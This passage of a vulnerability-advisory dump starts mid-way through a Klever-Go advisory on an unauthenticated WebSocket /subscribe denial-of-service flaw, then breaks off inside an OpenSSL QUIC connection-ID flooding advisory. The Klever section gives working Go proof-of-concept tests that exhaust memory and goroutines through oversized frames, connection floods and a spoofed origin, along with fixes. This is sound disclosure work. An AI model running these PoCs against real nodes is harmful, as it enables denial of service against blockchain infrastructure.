accepted\n\t},\n}\n\nfunc handleSubscribe(c *gin.Context, hub *websocket.SocketHub) {\n\tconn, err := upgrader.Upgrade(c.Writer, c.Request, nil)\n\tif err != nil {\n\t\tlog.Error(subscribeOp, \"err\", err.Error())\n\t\treturn\n\t}\n\tgo processSubscription(conn, hub) // returns now -\u003e gin global throttler slot released (GAP #3)\n}\n\nfunc processSubscription(conn *gorilla.Conn, hub *websocket.SocketHub) {\n\t// no conn.SetReadLimit(...) anywhere (GAP #2)\n\t_ = conn.SetReadDeadline(time.Now().Add(subscribeReadTimeout))\n\tvar req subscribeRequest\n\tif err := conn.ReadJSON(\u0026req); err != nil { ... } // unbounded read\n\t_ = conn.SetReadDeadline(time.Time{}) // deadline cleared\n\t...\n\tclient := websocket.NewClient(conn, hub)\n\thub.HandleClientInsertion(parsedTypes, req.Addresses, client) // req.Addresses uncapped (GAP #3)\n}\n```\n\n`websocket/websocket.go` \u2014 `HandleClientInsertion` inserts every address with no length cap:\n```go\nfor _, address := range addresses {\n\tif _, ok := h.addressSubscription[address]; !ok {\n\t\th.addressSubscription[address] = make(map[*client]userOptions) // grows 1:1 with attacker input\n\t}\n\t...\n}\n```\n\n`websocket/client.go` \u2014 `loopIn` reads with no size limit and no deadline:\n```go\nfor {\n\tmessageType, message, err := c.conn.ReadMessage() // GAP #2: unbounded, no SetReadLimit\n\t...\n}\n```\n\n## Preconditions\n- The node\u0027s REST API must be reachable by the attacker. Two realistic deployment shapes:\n - (a) Operator-exposed API \u2014 `--rest-api-interface :8080` / `0.0.0.0:8080`. This is the standard\n configuration for public RPC and observer infrastructure (the kind Klever itself operates at\n `node.klever.org` / `api.klever.org`). Here the attacker reaches `/subscribe` directly over the\n network with no further conditions.\n - (b) Cross-origin browser drive-by \u2014 default bind is `localhost:8080`\n (`common/facade/nodeFacade.go` `DefaultRestInterface = \"localhost:8080\"`). Because\n `CheckOrigin` returns `true` (GAP #1), any website an operator visits can open\n `ws://localhost:8080/subscribe` from the victim\u0027s browser and drive GAP #2 (single oversized\n frame) and GAP #3 (many connections) without the API being network-exposed at all.\n- `/subscribe` is `open: true` in the default `config/node/api.yaml`; `isSubscriptionRouteEnabled`\n returns true and the route + hub are wired unconditionally in `RegisterRoutes`.\n- `/subscribe` is NOT listed in `endpointsThrottlers` (`config/node/config.yaml`), so it has no\n per-endpoint goroutine cap.\n- No authentication, no on-chain account, no stake, no attacker-created asset is required.\n\n## Impact (distributed by gap and by blast radius)\n\nThis single finding produces several distinct impacts because the three gaps amplify different\nnode resources and reach the node through two different exposure models. They are broken out so the\nremediation owner can scope each one.\n\n### Impact A \u2014 Single-frame heap exhaustion (GAP #2, the cleanest primitive)\n- One unauthenticated connection sends ONE WebSocket frame; with no `SetReadLimit`, gorilla buffers\n the entire frame in memory before the JSON is even parsed. Frame size scales the allocation\n linearly, so one connection can drive a multi-GB allocation.\n- Observed amplification: an 8 MiB frame grows the server heap by ~32 MiB (~4x) while buffering ONE\n attacker frame (decode/UTF-8/scratch overhead on top of the raw bytes).\n- No flood and no rate-limit interaction is needed: the source throttler is a per-IP RATE cap on\n HTTP handshakes, not a size or memory cap, so a single slow connection streaming one oversized\n message is not meaningfully throttled.\n- Result: OOM-kill of the node process from a single connection.\n\n### Impact B \u2014 Connection / goroutine exhaustion (GAP #3, fan-out)\n- Live WS connections are not counted by the gin global throttler (its slot is freed at the\n HTTP\u2192WS upgrade), and there is no per-IP or hub-level connection cap.\n- Each accepted connection costs 2 goroutines + a 500-entry buffered channel. Connection count grows\n linearly with attacker effort from a single source, with no ceiling.\n- Result: goroutine/descriptor/scheduler exhaustion \u2192 node slowdown then OOM/crash.\n\n### Impact C \u2014 Unbounded subscription-map growth (GAP #3, per-connection memory)\n- `req.Addresses` is uncapped, and `HandleClientInsertion` inserts every entry into the hub\u0027s\n `addressSubscription` map. ONE connection submitting N attacker-controlled address strings grows\n the map to exactly N entries (1:1), independent of how many real on-chain addresses exist.\n- Result: heap growth driven purely by attacker-chosen strings on a single connection; combinable\n with Impact B (many connections \u00d7 many addresses) for multiplicative memory pressure.\n\n### Impact D \u2014 Cross-origin reach to localhost-bound nodes (GAP #1, exposure amplifier)\n- Because `CheckOrigin` is always `true`, Impacts A\u2013C are reachable from a victim\u0027s browser even\n when the API is bound to `localhost` and never exposed to the network. A node operator who simply\n visits a malicious page can have their own node driven into Impact A/B/C from inside their browser.\n- Result: the `localhost`-bind \"mitigation\" does not hold against a web-drive-by attacker.\n\n### Blast-radius note (applies to all of the above)\n- The REST/WS API runs in the SAME process as the node (`ws.Run(...)` in `network/api/api.go`).\n OOM/kill of the API = loss of P2P + consensus participation for that node, not merely loss of the\n RPC surface. For a public RPC/observer node this is an availability break for every downstream\n wallet/explorer/service; repeated across many nodes it degrades overall network availability.\n\n## Exploit Cost / Attack Complexity\n- Cost: negligible. No funds, no stake, no account, no API key. One TCP/WS connection (Impact A) or a\n modest number of connections (Impact B/C). Impact D needs only that the operator visits a web page.\n- Complexity: LOW. Unauthenticated, remote, deterministic. The vulnerability is the ABSENCE of caps,\n so it does not depend on a race or on a specific node version beyond the affected range.\n\n## PoC-Result\n\nTwo complementary PoCs were executed against the REAL production code at commit `23b74e1`.\nAll runs PASS. Sources, scenarios, and run instructions are in PoC-Source below.\n\n### Result 1 \u2014 Unit PoC: unbounded `addressSubscription` growth (Impact C)\nDrives the real `SocketHub.HandleClientInsertion` (production code, no stub) with one client\nsubmitting 200,000 attacker-controlled address strings.\n\n```\n$ go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v\n=== RUN TestPoC_UnboundedAddressSubscriptionGrowth\n zz_poc_ws_unbounded_subscription_test.go:46: addressSubscription entries after ONE client submitted 200000 addresses: 200000\n zz_poc_ws_unbounded_subscription_test.go:50: VULNERABLE: no cap on per-connection address count\n--- PASS: TestPoC_UnboundedAddressSubscriptionGrowth (0.09s)\nPASS\nok \tgithub.com/klever-io/klever-go/websocket\t0.092s\n```\nInterpretation: one connection \u2192 200,000 hub map entries (1:1), confirming GAP #3 / Impact C with\nno cap. Scaling the address count scales the allocation.\n\n### Result 2 \u2014 End-to-end PoC: all three gaps over a real loopback gin + gorilla WS server (Impacts A, B, D)\nRuns the REAL `network/api/websocket.SubscribeTopics` + `websocket.NewHub` + `hub.StartServer`\nbehind a gin server on `127.0.0.1`, driven by a real gorilla WebSocket client, with a \"hardened\"\nA/B control (strict `CheckOrigin` + `SetReadLimit(1 MiB)`) to prove each missing control is the cause.\n\n```\n$ go test ./network/api/websocket/ -run TestE2E_Gap -v\n=== RUN TestE2E_Gap1_EvilOriginAccepted\n zz_e2e_ws_dos_test.go:87: GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP 101)\n zz_e2e_ws_dos_test.go:94: control: hardened handler rejected evil origin (HTTP 403) as expected\n--- PASS: TestE2E_Gap1_EvilOriginAccepted (0.00s)\n=== RUN TestE2E_Gap2_NoReadSizeLimit\n zz_e2e_ws_dos_test.go:118: control: hardened handler rejected 8388608-byte frame with close 1009 (read limit works)\n zz_e2e_ws_dos_test.go:147: GAP#2 CONFIRMED: real /subscribe accepted an 8388608-byte (8 MiB) frame with NO size limit (no close 1009; read err=read tcp ... i/o timeout). Server heap grew ~32 MiB while buffering one attacker frame.\n--- PASS: TestE2E_Gap2_NoReadSizeLimit (1.43s)\n=== RUN TestE2E_Gap3_NoConnectionCap\n zz_e2e_ws_dos_test.go:185: GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL 300 concurrent connections from one client with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew 4 -\u003e 604 (~2 per conn).\n--- PASS: TestE2E_Gap3_NoConnectionCap (0.43s)\nPASS\nok \tgithub.com/klever-io/klever-go/network/api/websocket\t1.866s\n```\n\nInterpretation:\n- GAP #1 (Impact D): the real handler completes the handshake (HTTP 101) for\n `Origin: https://evil.attacker.example`; the hardened control returns HTTP 403. \u2192 cross-origin\n drive-by reach, including to localhost-bound nodes.\n- GAP #2 (Impact A): one unauthenticated connection sends a single 8 MiB frame; the real server\n buffers it whole (~32 MiB heap, ~4x amplification, NO close 1009). The 1 MiB-capped control rejects\n it with close 1009. \u2192 one connection scales to a multi-GB allocation.\n- GAP #3 (Impact B): 300 \u003e the configured global cap of 100 simultaneous requests were ALL accepted\n as live connections; goroutines grew 4 \u2192 604 (~2 per connection). \u2192 the global throttler does not\n bound live WS connections; growth is linear and uncapped.\n\n### Production-safety note on the PoC\nFrame size (8 MiB) and connection count (300) are kept deliberately modest so the test host is not\nOOM-killed. The vulnerability is the ABSENCE of the read-size / connection / origin controls, which\nthe hardened A/B control proves fixes each gap. Full end-to-end OOM (multi-GB frame / connection\nflood) is intentionally NOT executed against any production node.\n\n## PoC-Source\n\nTwo self-contained Go tests reproduce the finding against the unmodified production code. Both use\nonly the repo\u0027s own `go.mod` dependencies (gin + gorilla, already required) and the real\n`network/api/websocket` + `websocket` packages. No external services.\n\n### Scenario\n- PoC 1 (unit, Impact C) targets the hub primitive directly: build one in-process `client`, call the\n REAL `SocketHub.HandleClientInsertion` with 200,000 attacker-controlled address strings, and assert\n the hub\u0027s `addressSubscription` map grows 1:1 (no cap). This isolates GAP #3 / Impact C with zero\n network setup.\n- PoC 2 (end-to-end, Impacts A/B/D) stands up the REAL handler: `gin.New()` + the production\n `wsapi.SubscribeTopics(engine, hub)` + `websocket.NewHub(...)` + `hub.StartServer(ctx)` on a\n `127.0.0.1:0` listener, then drives it with a real gorilla WS client. A \"hardened\" mirror server\n (strict `CheckOrigin` + `SetReadLimit(1 MiB)`) is the A/B control that proves each missing control\n is the root cause:\n - Gap1 test: dial with `Origin: https://evil.attacker.example`; real accepts (HTTP 101), control rejects (403).\n - Gap2 test: send one 8 MiB valid subscribe frame; real buffers it (no close 1009, heap grows ~32 MiB),\n control closes with 1009 (message too big).\n - Gap3 test: open 300 concurrent connections from one client; real accepts all (goroutines grow ~2/conn),\n proving the gin global cap of 100 is not enforced on live WS.\n\n### How to run\n1. `git clone https://github.com/klever-io/klever-go \u0026\u0026 cd klever-go`\n (Go toolchain matching `go.mod`; verified locally on go1.26.3 at commit `23b74e1`.)\n2. Save PoC 1 as `websocket/poc_ws_unbounded_subscription_test.go` and run:\n `go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v`\n3. Save PoC 2 as `network/api/websocket/e2e_ws_dos_test.go` and run:\n `go test ./network/api/websocket/ -run TestE2E_Gap -v`\n (The three `TestE2E_Gap*` subtests can run together; each starts its own loopback server.)\n- Production-safety: frame size (8 MiB) and connection count (300) are intentionally small so the\n runner is not OOM-killed; they demonstrate the missing caps, not a live OOM. Do NOT point these at\n a production node.\n\n### Full PoC source 1 \u2014 `websocket/poc_ws_unbounded_subscription_test.go`\n```go\n// Target component: klever-go REST/WebSocket API \u2014 unauthenticated /subscribe (network/api/websocket, websocket/)\n// Vulnerability type: Uncontrolled resource consumption (CWE-770) \u2014 unauthenticated remote\n// memory/goroutine exhaustion of the node process via the WS API.\n// Scope note: The REST API runs IN-PROCESS with the node, so OOM kills the whole node\n// (P2P + consensus), not a separate sidecar.\n//\n// Three compounding gaps on the unauthenticated `/subscribe` endpoint (open:true by default):\n// 1) gorilla Upgrader has CheckOrigin -\u003e always true (any origin).\n// 2) NO conn.SetReadLimit: a single WS frame/JSON can be arbitrarily large -\u003e one message\n// can force a multi-GB allocation in conn.ReadJSON / ReadMessage.\n// 3) NO connection cap (per-IP / global / hub-level): the gin global throttler slot is\n// released right after the HTTP-\u003eWS upgrade in handleSubscribe (it returns immediately\n// after `go processSubscription`), so live WS connections are NOT counted by the\n// 100-simultaneous-request cap. Each connection also spawns 2 goroutines + a 500-buffered\n// channel, and there is no per-connection cap on req.Addresses, so the hub\u0027s\n// addressSubscription map grows 1:1 with attacker-supplied strings.\n//\n// This test runtime-confirms gap #3 (unbounded addressSubscription growth). Gaps #1/#2 are\n// verified by code review (no SetReadLimit / CheckOrigin==true in network/api/websocket/routes.go).\n//\n// How to run: cp into websocket/ and `go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v`\npackage websocket\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/indexer\"\n)\n\nfunc TestPoC_UnboundedAddressSubscriptionGrowth(t *testing.T) {\n\thub := NewHub(\"\", \"\", nil)\n\tc := \u0026client{hub: hub, out: make(chan interface{}, 10), alive: true, sem: make(chan struct{}, maxWorkers)}\n\n\tconst n = 200000\n\taddresses := make([]string, n)\n\tfor i := 0; i \u003c n; i++ {\n\t\taddresses[i] = fmt.Sprintf(\"klv-attacker-addr-%d\", i)\n\t}\n\thub.HandleClientInsertion([]indexer.EventType{indexer.ACCOUNTS}, addresses, c)\n\n\thub.mu.RLock()\n\tgot := len(hub.addressSubscription)\n\thub.mu.RUnlock()\n\n\tt.Logf(\"addressSubscription entries after ONE client submitted %d addresses: %d\", n, got)\n\tif got != n {\n\t\tt.Fatalf(\"expected unbounded growth to %d, got %d\", n, got)\n\t}\n\tt.Logf(\"VULNERABLE: no cap on per-connection address count\")\n}\n```\n\n### Full PoC source 2 \u2014 `network/api/websocket/e2e_ws_dos_test.go`\n```go\npackage websocket_test\n\nimport (\n\t\"context\"\n\t\"net\"\n\t\"net/http\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/gin-gonic/gin\"\n\tgorilla \"github.com/gorilla/websocket\"\n\n\twsapi \"github.com/klever-io/klever-go/network/api/websocket\"\n\thubpkg \"github.com/klever-io/klever-go/websocket\"\n)\n\n// ---- vulnerable server: the REAL production handler ----\nfunc startRealSubscribeServer(t *testing.T) (string, func()) {\n\tt.Helper()\n\tgin.SetMode(gin.ReleaseMode)\n\tengine := gin.New()\n\thub := hubpkg.NewHub(\"\", \"\", nil) // facade nil: /subscribe path doesn\u0027t use it\n\tctx, cancel := context.WithCancel(context.Background())\n\tgo hub.StartServer(ctx)\n\twsapi.SubscribeTopics(engine, hub) // \u003c-- REAL production registration\n\n\tln, err := net.Listen(\"tcp\", \"127.0.0.1:0\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tsrv := \u0026http.Server{Handler: engine}\n\tgo func() { _ = srv.Serve(ln) }()\n\tstop := func() { cancel(); _ = srv.Close(); _ = ln.Close() }\n\treturn ln.Addr().String(), stop\n}\n\n// ---- hardened mirror: same flow + the missing controls (strict origin + SetReadLimit) ----\nfunc startHardenedSubscribeServer(t *testing.T) (string, func()) {\n\tt.Helper()\n\tgin.SetMode(gin.ReleaseMode)\n\tengine := gin.New()\n\tup := gorilla.Upgrader{CheckOrigin: func(r *http.Request) bool {\n\t\treturn r.Header.Get(\"Origin\") == \"\" // strict: only same/no-origin allowed\n\t}}\n\tengine.GET(\"/subscribe\", func(c *gin.Context) {\n\t\tconn, err := up.Upgrade(c.Writer, c.Request, nil)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tconn.SetReadLimit(1 \u003c\u003c 20) // 1 MiB cap (the fix)\n\t\tgo func() {\n\t\t\tdefer conn.Close()\n\t\t\tfor {\n\t\t\t\tif _, _, err := conn.ReadMessage(); err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t})\n\tln, _ := net.Listen(\"tcp\", \"127.0.0.1:0\")\n\tsrv := \u0026http.Server{Handler: engine}\n\tgo func() { _ = srv.Serve(ln) }()\n\treturn ln.Addr().String(), func() { _ = srv.Close(); _ = ln.Close() }\n}\n\nfunc bigValidSubscribeJSON(addrBytes int) []byte {\n\t// valid subscribe frame: one giant attacker-controlled address string\n\treturn []byte(`{\"subscribed_types\":[\"accounts\"],\"addresses\":[\"` + strings.Repeat(\"A\", addrBytes) + `\"]}`)\n}\n\n// GAP #1 \u2014 permissive origin: real handler accepts an evil Origin; hardened rejects it.\nfunc TestE2E_Gap1_EvilOriginAccepted(t *testing.T) {\n\trealAddr, stopReal := startRealSubscribeServer(t)\n\tdefer stopReal()\n\thardAddr, stopHard := startHardenedSubscribeServer(t)\n\tdefer stopHard()\n\n\thdr := http.Header{\"Origin\": []string{\"https://evil.attacker.example\"}}\n\n\tcReal, respReal, errReal := gorilla.DefaultDialer.Dial(\"ws://\"+realAddr+\"/subscribe\", hdr)\n\tif errReal != nil {\n\t\tt.Fatalf(\"REAL handler REJECTED evil origin (status %v) \u2014 not vulnerable\", respReal)\n\t}\n\t_ = cReal.Close()\n\tt.Logf(\"GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP %d)\", respReal.StatusCode)\n\n\tcHard, respHard, errHard := gorilla.DefaultDialer.Dial(\"ws://\"+hardAddr+\"/subscribe\", hdr)\n\tif errHard == nil {\n\t\t_ = cHard.Close()\n\t\tt.Fatalf(\"hardened control unexpectedly accepted evil origin\")\n\t}\n\tt.Logf(\"control: hardened handler rejected evil origin (HTTP %d) as expected\", respHard.StatusCode)\n}\n\n// GAP #2 \u2014 no read-size limit: real handler reads a frame far over any sane WS limit;\n// the hardened control (SetReadLimit 1 MiB) closes the connection with 1009 on the same frame.\nfunc TestE2E_Gap2_NoReadSizeLimit(t *testing.T) {\n\trealAddr, stopReal := startRealSubscribeServer(t)\n\tdefer stopReal()\n\thardAddr, stopHard := startHardenedSubscribeServer(t)\n\tdefer stopHard()\n\n\tconst big = 8 \u003c\u003c 20 // 8 MiB single frame (\u003e\u003e typical 1 MiB cap; tiny enough not to OOM the runner)\n\tframe := bigValidSubscribeJSON(big)\n\n\t// --- hardened control: must reject (close 1009 \"message too big\") ---\n\tcHard, _, err := gorilla.DefaultDialer.Dial(\"ws://\"+hardAddr+\"/subscribe\", nil)\n\tif err != nil {\n\t\tt.Fatalf(\"dial hardened: %v\", err)\n\t}\n\t_ = cHard.WriteMessage(gorilla.TextMessage, frame)\n\tcHard.SetReadDeadline(time.Now().Add(3 * time.Second))\n\t_, _, errHard := cHard.ReadMessage()\n\t_ = cHard.Close()\n\tif ce, ok := errHard.(*gorilla.CloseError); ok \u0026\u0026 ce.Code == gorilla.CloseMessageTooBig {\n\t\tt.Logf(\"control: hardened handler rejected %d-byte frame with close 1009 (read limit works)\", big)\n\t} else {\n\t\tt.Logf(\"control note: hardened returned %v (expected close 1009)\", errHard)\n\t}\n\n\t// --- REAL handler: reads the whole 8 MiB frame; connection NOT closed for size ---\n\tvar m0, m1 runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026m0)\n\n\tcReal, _, err := gorilla.DefaultDialer.Dial(\"ws://\"+realAddr+\"/subscribe\", nil)\n\tif err != nil {\n\t\tt.Fatalf(\"dial real: %v\", err)\n\t}\n\tif err := cReal.WriteMessage(gorilla.TextMessage, frame); err != nil {\n\t\tt.Fatalf(\"write big frame to real: %v\", err)\n\t}\n\t// Give the server time to ReadJSON the full frame + insert the giant address.\n\ttime.Sleep(400 * time.Millisecond)\n\truntime.ReadMemStats(\u0026m1)\n\n\t// The real handler must NOT have closed us with 1009. Probe with a short read.\n\tcReal.SetReadDeadline(time.Now().Add(1 * time.Second))\n\t_, _, rerr := cReal.ReadMessage()\n\t_ = cReal.Close()\n\tif ce, ok := rerr.(*gorilla.CloseError); ok \u0026\u0026 ce.Code == gorilla.CloseMessageTooBig {\n\t\tt.Fatalf(\"REAL handler enforced a read limit (close 1009) \u2014 NOT vulnerable\")\n\t}\n\n\tt.Logf(\"GAP#2 CONFIRMED: real /subscribe accepted an %d-byte (8 MiB) frame with NO size limit \"+\n\t\t\"(no close 1009; read err=%v). Server heap grew ~%d MiB while buffering one attacker frame.\",\n\t\tbig, rerr, int64(m1.HeapAlloc-m0.HeapAlloc)/(1\u003c\u003c20))\n\n}\n\n// GAP #3 (connection level) \u2014 no per-connection / per-IP / global cap on live WS connections.\n// Open many concurrent real connections from one client; the real server accepts them all and\n// spawns 2 goroutines + a 500-buffered channel each (uncounted by the gin global throttler,\n// whose slot is released right after the HTTP-\u003eWS upgrade). Measured via goroutine growth.\nfunc TestE2E_Gap3_NoConnectionCap(t *testing.T) {\n\trealAddr, stopReal := startRealSubscribeServer(t)\n\tdefer stopReal()\n\n\tconst n = 300 // modest; enough to show no cap without stressing the runner\n\tg0 := runtime.NumGoroutine()\n\tconns := make([]*gorilla.Conn, 0, n)\n\taccepted := 0\n\tfor i := 0; i \u003c n; i++ {\n\t\tc, _, err := gorilla.DefaultDialer.Dial(\"ws://\"+realAddr+\"/subscribe\", nil)\n\t\tif err != nil {\n\t\t\tt.Logf(\"connection %d rejected: %v\", i, err)\n\t\t\tbreak\n\t\t}\n\t\t// send a valid subscribe so the server promotes it to a live hub client\n\t\t_ = c.WriteMessage(gorilla.TextMessage, []byte(`{\"subscribed_types\":[\"blocks\"],\"addresses\":[]}`))\n\t\tconns = append(conns, c)\n\t\taccepted++\n\t}\n\ttime.Sleep(300 * time.Millisecond)\n\tg1 := runtime.NumGoroutine()\n\tfor _, c := range conns {\n\t\t_ = c.Close()\n\t}\n\n\tif accepted \u003c n {\n\t\tt.Fatalf(\"server applied a connection cap at %d (\u003c%d) \u2014 would weaken the finding\", accepted, n)\n\t}\n\tt.Logf(\"GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL %d concurrent connections from one client \"+\n\t\t\"with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew %d -\u003e %d (~%d per conn).\",\n\t\taccepted, g0, g1, (g1-g0)/n)\n}\n```\n\n## Suggested Fix\nAddress each gap; they are independent and all should be fixed regardless of API binding.\n\n- GAP #2 (read-size) \u2014 set an explicit read limit on every accepted WS connection, before any read,\n in both read paths (`processSubscription` and `client.loopIn`):\n ```go\n const maxWSMessageSize = 1 \u003c\u003c 20 // 1 MiB; tune to the largest legitimate subscribe payload\n conn.SetReadLimit(maxWSMessageSize)\n ```\n gorilla then closes oversized frames with close 1009 instead of buffering unbounded memory.\n\n- GAP #3 (connection / fan-out cap):\n - Cap concurrent WS connections globally and per source IP with a dedicated limiter that is held\n for the WS lifetime (the gin global throttler cannot do this \u2014 its slot is released at the\n HTTP\u2192WS upgrade). Reject (HTTP 503 / close) beyond the cap.\n - Bound `len(req.Addresses)` and the total per-connection subscription count to a sane maximum;\n reject or truncate beyond it in `HandleClientInsertion` / `processSubscription`.\n\n- GAP #1 (origin) \u2014 replace `CheckOrigin: func(...) bool { return true }` with an allowlist driven by\n config (same-origin and explicitly trusted origins only). This removes the cross-origin drive-by\n reach to localhost-bound nodes (Impact D).\n\n- Defense-in-depth \u2014 keep a read deadline active for the lifetime of the connection (the current code\n clears it via `SetReadDeadline(time.Time{})` after the first read), so an idle/slow connection\n cannot pin resources indefinitely.\n\n## Duplicate Check (vs published advisories)\nChecked against https://github.com/klever-io/klever-go/security/advisories (3 published):\n- GHSA-jc6w-wmfc-fh33 / CVE-2026-46403 (Medium) \u2014 KVM read-only exec commits delete/upgrade side effects.\n- GHSA-87m7-qffr-542v / CVE-2026-44697 (High) \u2014 `MultiDataInterceptor` OOM via crafted compressed P2P payload.\n- GHSA-74m6-4hjp-7226 (High) \u2014 `MultiDataInterceptor` throttler-slot leak on malformed compressed batches.\n\nThis finding is NOT a duplicate:\n- Different component \u2014 REST/WebSocket API (`network/api/websocket`, `websocket/`), not the P2P\n interceptor pipeline or the KVM.\n- Different mechanism \u2014 missing WS read-size limit + uncounted live connections + permissive origin\n (CWE-770/1385), not gzip decompression blow-up, not throttler-slot accounting, not VM read-only isolation.\n- The advisory texts contain no mention of `/subscribe`, `SetReadLimit`, `CheckOrigin`,\n `addressSubscription`, `SocketHub`, or `processSubscription`.\n- The three advisories\u0027 fixes ARE present in the reviewed tree (`MaxDecompressedBatchSize`,\n `ownershipTransferred` throttler guard, `runtime.ReadOnly()` delete/upgrade checks), confirming the\n tree is at/after `v1.7.17`, yet the `/subscribe` gaps remain unpatched at HEAD `23b74e1`.\n- It is adjacent in impact CLASS to 87m7/74m6 (remote DoS), referenced here for context only.",
"id": "GHSA-4fwh-wrm6-97xm",
"modified": "2026-09-23T19:16:40Z",
"published": "2026-09-23T19:16:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-4fwh-wrm6-97xm"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/pull/76"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/commit/b8af922e749ec1fa7451b2c6e7c9f634d8603be2"
},
{
"type": "PACKAGE",
"url": "https://github.com/klever-io/klever-go"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Klever-Go: Unauthenticated WebSocket /subscribe: no read-size limit, no connection cap, permissive origin -\u003e remote node memory/goroutine exhaustion (DoS)"
}
GHSA-4FX9-95X6-PQ4Q
Vulnerability from github – Published: 2026-09-29 18:31 – Updated: 2026-09-29 18:31Issue summary: A malicious remote peer may flood the local QUIC stack with NEW_CONNECTION_ID frames by avoiding a limit check on how many connection IDs the remote QUIC stack can use.
Impact summary: The local QUIC stack sends a RETIRE_CONN_ID frame for every NEW_CONNECTION_ID frame it receives. The RETIRE_CONN_ID frame is dispatched via the Control Frame Queue (CFQ). If the remote peer also withholds ACKs, then it can force the local stack to allocate ~400MB (depending on ACK delay).
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Description: RFC 9000 sections 5.1.1 and 5.1.2 [1] describe the mechanism by which a remote peer can notify the local QUIC stack to change the destination connection ID (a.k.a. CID) the local stack uses to identify the connection at the remote peer. Each CID is associated with a sequence number. The sequence number is transmitted in NEW_CONNECTION_ID and RETIRE_CONNECTION_ID frames to identify the CID which is being either associated with a connection or retired.
The remote peer sends a NEW_CONNECTION_ID frame to let the local stack know a new CID is being associated with an existing connection. The NEW_CONNECTION_ID frame carries the new CID, its sequence number, and the retire-prior-to number. The retire-prior-to identifies existing CIDs that are to be retired. The local QUIC stack must send a RETIRE_CONNECTION_ID for every destination CID whose sequence number is less than retire-prior-to. The CID becomes retired after the local stack receives an ACK for its RETIRE_CONNECTION_ID frame.
Although the OpenSSL QUIC stack supports at most one destination CID for every connection, it can be tricked into processing more than one RETIRE_CONNECTION_ID frame per connection. The OpenSSL QUIC stack currently retires the destination CID as soon as it receives the NEW_CONNECTION_ID, while in fact the destination CID must be retired after an ACK for the RETIRE_CONNECTION_ID frame is received. Correcting the flawed logic also fixes the backlog growth.
[1] https://datatracker.ietf.org/doc/html/rfc9000#name-issuing-connection-ids
FIPS impact: no The FIPS module is not affected as the QUIC implementation is outside of the OpenSSL FIPS module boundary.
{
"affected": [],
"aliases": [
"CVE-2026-84784"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-29T16:17:12Z",
"severity": "HIGH"
},
"details": "Issue summary: A malicious remote peer may flood the local QUIC\nstack with NEW_CONNECTION_ID frames by avoiding a limit check on\nhow many connection IDs the remote QUIC stack can use.\n\nImpact summary: The local QUIC stack sends a RETIRE_CONN_ID frame\nfor every NEW_CONNECTION_ID frame it receives. The RETIRE_CONN_ID\nframe is dispatched via the Control Frame Queue (CFQ). If the remote\npeer also withholds ACKs, then it can force the local stack\nto allocate ~400MB (depending on ACK delay).\n\nCWE: CWE-770: Allocation of Resources Without Limits or Throttling\n\nDescription: RFC 9000 sections 5.1.1 and 5.1.2 [1] describe the mechanism\nby which a remote peer can notify the local QUIC stack to change the\ndestination connection ID (a.k.a. CID) the local stack uses to\nidentify the connection at the remote peer. Each CID is associated\nwith a sequence number. The sequence number is transmitted\nin NEW_CONNECTION_ID and RETIRE_CONNECTION_ID frames to identify the CID\nwhich is being either associated with a connection or retired.\n\nThe remote peer sends a NEW_CONNECTION_ID frame to let the local stack know\na new CID is being associated with an existing connection. The\nNEW_CONNECTION_ID frame carries the new CID, its sequence number, and the\nretire-prior-to number. The retire-prior-to identifies existing\nCIDs that are to be retired. The local QUIC stack must send a\nRETIRE_CONNECTION_ID for every destination CID whose sequence number\nis less than retire-prior-to. The CID becomes retired after the\nlocal stack receives an ACK for its RETIRE_CONNECTION_ID frame.\n\nAlthough the OpenSSL QUIC stack supports at most one destination CID\nfor every connection, it can be tricked into processing more than\none RETIRE_CONNECTION_ID frame per connection. The OpenSSL QUIC\nstack currently retires the destination CID as soon as it receives\nthe NEW_CONNECTION_ID, while in fact the destination CID must\nbe retired after an ACK for the RETIRE_CONNECTION_ID frame is received.\nCorrecting the flawed logic also fixes the backlog growth.\n\n[1] https://datatracker.ietf.org/doc/html/rfc9000#name-issuing-connection-ids\n\nFIPS impact: no\nThe FIPS module is not affected as the QUIC implementation is outside of\nthe OpenSSL FIPS module boundary.",
"id": "GHSA-4fx9-95x6-pq4q",
"modified": "2026-09-29T18:31:45Z",
"published": "2026-09-29T18:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84784"
},
{
"type": "WEB",
"url": "https://github.com/openssl/openssl/commit/4685c914b0d410b1034f40b547c95bc95e7a380a"
},
{
"type": "WEB",
"url": "https://github.com/openssl/openssl/commit/9a30fe0fba195c14e5b87bf93c0d0fdb70373806"
},
{
"type": "WEB",
"url": "https://github.com/openssl/openssl/commit/dba3c48d653c64fcbc9070a17a0ee2b3e2f3af1f"
},
{
"type": "WEB",
"url": "https://github.com/openssl/openssl/commit/e9e5155833fa968bee50024bf9ca3a185ab599fe"
},
{
"type": "WEB",
"url": "https://openssl-library.org/news/secadv/20260929.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
